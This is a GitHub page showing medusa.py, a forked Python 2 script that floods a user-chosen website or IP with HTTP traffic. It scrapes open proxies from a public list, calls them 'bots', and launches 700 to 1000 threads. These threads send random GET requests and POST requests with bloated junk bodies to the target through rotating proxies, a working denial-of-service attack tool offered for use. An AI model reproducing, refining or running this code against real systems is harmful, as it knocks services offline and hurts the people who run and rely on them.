forked from AlaBouali/Medusa
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmedusa.py
More file actions
175 lines (158 loc) · 4.58 KB
/
medusa.py
File metadata and controls
175 lines (158 loc) · 4.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# -*- coding: utf-8 -*-
lis='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_'
import socket,httplib,sys,threading,random,time,re
try:
import requests
except:
print"You need to install: requests"
sys.exist()
try:
import bs4
from bs4 import BeautifulSoup
except:
print"You need to install: bs4"
sys.exit()
l="http://www.proxyserverlist24.top/"
print ('''%s
$$$ $$$ $$$$$$$$ $$$$ $$ $$ $$$$$$$$ $$$$$$$$$
$$$$ $$$$ $$ $$ $$ $$ $$ $$ $$ $$
$$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$ $$$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$ $ $$ $$$$$$$$ $$ $$ $$ $$ $$$$$$$$ $$$$$$$$$
$$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$ $$ $$ $$ $$ $$ $$ $$ $$ $$
$$ $$ $$$$$$$$ $$$$$$$$ $$$$$$$$$ $$$$$$$$ $$ $$
%s''' % ( "\x1b[31m" , "\x1b[31m" ))
print('''%s
Author:
Ala Bouali
E-mail:
trap.leader.123@gmail.com
Github:
https://github.com/AlaBouali
Facebook:
https://www.facebook.com/ala.chamtouri.73
Great thanks for inspiration and help on tests:
-Soul
-Vince
%s''' % ( "\x1b[1;97m" , "\x1b[1;97m" ))
global pr
pr=[]
li=[]
m=[]
headers = {"Content-type": "application/x-www-form-urlencoded",
"Accept": "text/plain"}
i=0
z=0
n=0
while n<1:
try:
url=raw_input('\n\n\nTARGET:\n(www.example.com or IP)\n>')
socket.gethostbyname(url)
if url!="":
n+=1
else:
print"Don't leave your target blank"
except:
print"Write your the domain or IP correctly"
while n<2:
try:
th=input("\n\nThreads:(700<threads<1000)\n>")
if ((th<1001) and (th>699)):
n+=1
else:
print"For better results limit your threads to that range"
except:
print"Enter a number between 700 and 1000"
print"[+]Fetching resources..."
try:
r=requests.get(l,{'User-Agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)'}).text
soup= BeautifulSoup ( r, 'html.parser')
h3tags = soup.findAll('a')
for a in h3tags:
try:
if (a.has_attr('href') and (l in str(a)) and ("proxy-server" in str(a)) and("#" not in (str(a)))) :
try:
a=str(a)
a=a.split('href="')[1]
a=a.split('"')[0]
if (a not in m):
m.append(a)
except Exception as xx:
pass
except Exception as ex:
continue
except Exception as e:
pass
print"[*]Gathering bots:"
for k in m:
try:
print"[+]Page",m.index(k)+1
a=requests.get(k, {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Maxthon; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)'})
ips = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})",a.text)
for w in ips:
pr.append(w)
except Exception as e:
pass
print"\nBots:",len(pr),"\n"
while True:
r=random.choice(pr)
if (r not in li):
li.append(r)
if (len(li)>random.randint(70,80)):
break
class HTTPThread(threading.Thread):
def run(self):
global i
global z
try:
while True:
try:
line=random.choice(li)
ip=line.split(':')[0].split('=')[0]
p=line.split(':')[1].split('=')[0]
try:
conn = httplib.HTTPConnection(ip, int(p))
g=random.randint(1,2)
if g==1:
conn.request("GET", 'http://'+url+'/')
i+=1
elif g==2:
k=''
for _ in range(1,random.randint(2,5)):
k+=random.choice(lis)
k+=str(random.randint(1,10000))+random.choice(lis)+random.choice(lis)
for _ in range(1,random.randint(1,3)):
k+=random.choice(lis)
j=''
for x in range(0,random.randint(11,31)):
j+=random.choice(lis)
params =k+'='+(j*random.randint(100,300))+str(random.randint(1,10000))+random.choice(lis)+random.choice(lis)
conn.request("POST", 'http://'+url+'/', params, headers)
z+=1
sys.stdout.write("\rRequests sent: {} GET {} POST".format(i,z))
sys.stdout.flush()
except socket.error as e:
pass
time.sleep(.1)
except Exception as x:
time.sleep(.01)
except Exception as ex:
pass
for x in range(th):
t = HTTPThread()
t.start()
class swi(threading.Thread):
def run(self):
global li
while True:
time.sleep(random.randint(30,60))
li=[]
while True:
r=random.choice(pr)
if (r not in li):
li.append(r)
if (len(li)>random.randint(70,80)):
break
t=swi()
t.start()